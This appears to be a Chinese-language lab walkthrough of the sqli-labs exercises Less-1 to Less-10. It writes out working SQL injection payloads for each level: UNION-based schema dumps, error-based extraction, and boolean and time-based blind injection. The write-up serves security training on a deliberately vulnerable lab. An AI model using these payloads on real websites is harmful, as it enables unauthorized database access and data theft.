Less-1

提示使用id作为参数传入

不同的ID返回了不同的信息,可以判断传入的ID值可能参与了数据库的查询

接着判断ID是否进行了拼接,且是字符型还是数字型

可以判断存在字符型SQL注入漏洞,且存在回显,可以使用联合查询。

首先,判断该表存在多少列

?id=1' order by 3 --+


order by 4 –+ 时报错,可以判断该表总共3列,接着尝试爆出显示位

?id=-1' union select 1,2,3 --+

2,3是会显示在页面中的

查询当前使用数据库和数据库版本

select database();
select version();
?id= -1' union select 1,database(),version() --+

查询库名、表名、列名

#获取所有数据库名和表名 
?id=-1' union select 1,(select group_concat(schema_name) from information_schema.schemata),(select group_concat(TABLE_NAME) from information_schema.tables) --+

#获取所有列名
?id=-1' union select 1,(select group_concat(COLUMN_NAME) from information_schema.columns),3--+

Less-2

使用’进行尝试,发现报错信息只有’,判断为数字型注入。

?id=1 order by 4
#判断列数

?id=-1 union select 1,2,3
#判度哪个字段回显

?id=-1 union select 1,database(),version()
查询当前使用数据库名和数据库版本 

?id=-1 union select 1,(select group_concat(schema_name) from information_schema.schemata),(select group_concat(TABLE_NAME) from information_schema.tables)
获取所有数据库名和表名

http://192.168.154.139/Less-2/?id=-1%20union%20select%201,(select%20group_concat(COLUMN_NAME)%20from%20information_schema.columns),3
获取所有列名

Less-3

使用’进行测试,发现报错信息时”),判断是字符型注入,使用’)进行闭合

?id=1') order by 4--+
#判断列数

?id=-1') union select 1,2,3--+
判断哪个字段回显

?id=-1') union select 1,(select group_concat(schema_name) from information_schema.schemata),(select group_concat(table_name) from information_schema.tables) --+
获取所有库名和表名

?id=-1') union select 1,(select group_concat(column_name) from information_schema.columns),3--+
获取所有的列名

Less-4

使用”进行测试,发现报错位置时””),判断是字符型注入,闭合符号时”)

?id=1") order by 4--+
#判断列数

?id=-1") union select 1,2,3--+
#判断哪个字段回显

?id=-1") union select 1,(select group_concat(schema_name) from information_schema.schemata),(select group_concat(table_name) from information_schema.tables)--+
#查询所有数据库名和表名

?id=-1") union select 1,(select group_concat(column_name) from information_schema.columns),3--+
 #查询所有列名 

Less-5


使用’进行尝试,发现报错信息,判断是字符型注入,闭合符号是’,接着尝试使用联合注入。


只有报错信息可以显示,可以使用报错注入带出数据。

#获取数据库版本
?id=1' and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)-- +
#获取数据库名
?id=1' and (select 1 from (select count(*),concat((select group_concat(schema_name) from information_schema.schemata),floor(rand(0)*2))x from information_schema.tables group by x)a)-- +
#获取表名
?id=1' and (select 1 from (select count(*),concat((select table_name from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)-- +
#获取字段名
?id=1' and (select 1 from (select count(*),concat((select column_name from information_schema.columns limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)-- +

Less-6



使用”进行尝试,发现报错信息,判断是字符型注入,闭合符号是”,使用联合注入无法回显,使用报错注入带出数据。

#获取数据库名
?id=1" and extractvalue(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1),0x7e)) -- +
#获取表名
?id=1" and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables limit 0,1),0x7e)) -- +
#获取列名
?id=1" and extractvalue(1,concat(0x7e,(select column from information_schema.columns limit 0,1),0x7e)) -- +

Less-7

使用?id=1′)) — +进行测试,发现没有报错提示,判断是字符型注入,闭合符号是’)),使用报错注入和联合注入都无法回显,使用布尔盲注带出数据。

#获取数据库长度 
?id=1%27))%20and%20length(database())=8--+
#获取字符串内容
?id=1')) and ascii(substr(database(),1,1))=ascii('s') --+

详细语句可以参考:https://www.dongling.xyz/2024/01/19/sql-injection-boolean-blinds/

Less-8

使用?id=1′ — +进行测试,发现能够正常显示信息,判定是字符型注入,闭合符号是’,报错注入和联合注入都无法回显,使用布尔盲注带出数据。

如何注入带出数据参考less-7

Less-9

使用’,”,’),”)等进行尝试都显示相同的信息,这里我们使用时间盲注进行尝试’ and sleep(5) –+

#判断数据库长度
?id=1' and if(length(database())>=8,sleep(10),1)-- +

Less-10

与less-9类似,闭合符号为”,